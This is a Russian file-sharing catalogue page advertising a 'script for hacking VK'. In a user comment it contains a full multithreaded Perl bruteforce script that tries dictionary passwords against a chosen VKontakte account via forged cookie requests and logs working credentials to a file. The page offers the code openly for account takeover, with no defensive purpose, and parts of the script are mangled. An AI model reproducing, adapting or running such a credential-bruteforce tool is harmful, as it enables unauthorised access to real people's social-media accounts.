Среда, 23.07.2025, 06:54
Muzik_Klips
Главная Регистрация Вход
Приветствую Вас, Гость лол · RSS
Меню сайта
Форма входа
Категории раздела
Разное [16]
Поиск
Рекламма

РЕКЛАММА НА САЙТ ХАКЕР!
Наш опрос
Оцените сайт


Результаты
Архив опросов
Всего голосовало: 62
Мини-чат
Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
     Каталог файлов
    Главная » Файлы » Разное

    Скрипт для взлома ВК
    [ Скачать с сервера (5.28 Mb) ] 04.07.2011, 01:11

    Скрипт для взлома ВК
    Категория: Разное | Добавил: sysa-09
    Просмотров: 19525 | Загрузок: 6054 | Комментарии: 2 | Рейтинг: 2.8/5
    Всего комментариев: 2
    Аватар пользователя

    sabina00sar написал:

    Комментарий №2 - 28.11.2017, 08:35 0 [Цитировать]
    #!/usr/bin/perl

    use IO::Socket;
    use MD5;
    use threads;
    use threads::shared;
    my @pass : shared;

    ######################################
    # C!klodoL
    # vkontakte.ru bruteforce with multi-threads
    ######################################
    $dic = ‘passl.txt’; #словарь паролей
    $id = 111111; #id цели
    $mail = ‘mail%40mail.com’; #мыло, вместо @ вписать %40
    $threads = 4; #количество потоков
    ######################################

    open (pass, “<$dic”);

    Next:
    @pass = pass();

    for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
    for(@trl) { $_->join; }

    sub Brut
    {

    while

    (@pass){

    $pass = shift @pass;

    $md5 = MD5->hexhash($pass);
    $sock = IO::Socket::INET->new(Proto=>’tcp’,PeerAddr=>’vkontakte.ru’,PeerPort=>80);
    print $sock “HEAD http://vkontakte.ru/ HTTP/1.0\r\n”.
    “Host: vkontakte.ru\r\n”.
    “Accept: */*\r\n”.
    “Content-Type: application/x-www-form-urlencoded\r\n”.
    “User-Agent: Mozillo\r\n”.
    “Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n”.

    “Connection: close\r\n\r\n”;
    $answ = <$sock>;
    close $sock;
    print “$pass $answ”;
    if ($answ =~ /302/){
    open (good, ‘>>good.txt’);
    print good “$id:$pass:$md5\n”;
    print “$id:$pass:$md5\n”;
    close good;
    exit;}
    }

    }

    goto Next;

    sub pass
    {
    my (@mas);
    while (
    ){
    push @mas, $_;
    last if (@mas == 400);
    }
    chomp @mas;
    return @mas;
    } набор паролей
    0  



    Аватар пользователя

    darua_kondratenko написал:

    Комментарий №1 - 24.10.2016, 19:29 0 [Цитировать]
    https://vk.com/id295443238
    0  



    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Copyright MyCorp © 2025
    Сайт управляется системой uCoz